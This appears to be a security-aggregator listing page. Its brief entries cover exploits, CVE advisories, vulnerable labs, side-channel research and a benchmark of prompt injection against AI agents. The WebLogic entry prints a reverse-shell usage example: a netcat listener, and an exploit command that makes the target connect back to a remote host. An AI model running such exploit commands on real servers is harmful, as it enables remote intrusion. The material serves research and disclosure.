Vanguard-Map

VANGUARD1 — Mapa de Inteligencia Táctica Multidominio Un mapa 3D en tiempo real de las cosas en movimiento del mundo: tráfico de barcos en vivo AIS, aeronaves, satélites, cables submarinos, puertos, puntos de estrangulamiento y clima espacial — renderizado como una nube de terreno de 1.5 millones...

sgx-step

Un marco práctico de ataque para el control preciso de la ejecución de enclaves SGX-Step es un marco de trabajo de código abierto para facilitar la investigación de ataques de canal lateral en procesadores Intel x86 en general y en plataformas Intel SGX en particular. SGX-Step consiste en un...

cve-2025-21756

CVE-2025-21756 n-day analysis An n-day analysis of CVE-2025-21756 based on Michael Hoefler's writeup. My exploit differs from original exploit in the spray step and some other small points. It's here...

StepJack

StepJack: Benchmarking Computer-Use Agent Safety Against Multi-Step Indirect Prompt Injection Setup 1. Python Environment Setup First, install all dependencies and ensure you’re running Python 3.10. root@kitploit: conda create -n stepjack python=3.10 conda activate stepjack pip install -r...

AiSOC

AiSOC An open-source, self-hostable AI SOC. The agent's prompts, tool calls, and rationale are logged step-by-step and replayable. MIT-licensed. The community-maintained demo at tryaisoc.com runs on Fly.io and can go offline; see docs/operations/live-demo-runbook.md and use Codespaces as the...

CVE-2025-49113

CVE-2025-49113 Exploit de RCE El método de autenticación de nombre de usuario/contraseña en este Exploit consta de 4 pasos el código está un poco desordenado...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP para Python （completo en un solo paso） Uso: Python3 exploit.py -t -c Consejos: Sin echo Ejemplo： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' entonces obtendrás shell...

secdim-assurance-drift-challenge

SecDim Challenge Builder Repro — Assurance Drift Working reproduction for a proposed security challenge inspired by CVE-2026-88861 , published 10 September 2026. Security concept The application correctly verifies a signed session and correctly checks the admin role, but it collapses two...

EUVD-2026-76116

The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks...

CVE-2026-54520

CVE-2026-54520 ai-agent-automation workflow file step path traversal allowed read/write outside the expected directory. Primary advisory: GHSA-cm8g-8jfq-887p Researcher credit: @chaitanyagarware At a Glance...

CVE-2025-54068-livewire

CVE-2025-54068 - Livewire v3.6.3 漏洞实验室 此文件夹构建了一个极简的 Laravel + Livewire v3 应用程序，固定使用 Livewire 3.6.3 （易受攻击的版本），用于复现 CVE-2025-54068 。 挂载的组件被有意编写为与公开的漏洞利用链兼容（它允许第 1 阶段的强制类型转换为数组步骤）。 快速开始 root@kitploit: docker compose up -d --build 打开： http://localhost:18081/ 验证（安全 PoC） 这会运行一个类似于公开漏洞利用链的两步请求序列，但使用一个带内...

CVE-2026-84661

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds awaited by the waitForBuild step when the propagateAbort parameter is used to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream jo...

CVE-2026-84660

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds triggered by the build step to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream job...

CVE-2026-84661

Jenkins Pipeline: Build Step Plugin version 599.v4b_67ea_11b_152 and earlier contains a missing permission check in the waitForBuild step. When the propagateAbort parameter is set to true, the plugin cancels the downstream build without verifying that the build's associated authentication holds I...

CVE-2026-84661

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds awaited by the waitForBuild step when the propagateAbort parameter is used to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream jo...

EUVD-2026-70127

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds awaited by the waitForBuild step when the propagateAbort parameter is used to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream jo...

EUVD-2026-70126

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds triggered by the build step to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream job...

CVE-2026-84660

A missing permission check in Jenkins Pipeline: Build Step Plugin 599.v4b67ea11b152 and earlier causes downstream builds triggered by the build step to be canceled even when the build's authentication lacks Item/Cancel permission on the downstream job...

CVE-2026-84660

Jenkins Pipeline: Build Step Plugin (pipeline-build-step) 599.v4b_67ea_11b_152 and earlier contains a missing permission check that allows downstream builds to be canceled even when the triggering build's authentication lacks Item/Cancel permission on the downstream job. The issue is triggered wh...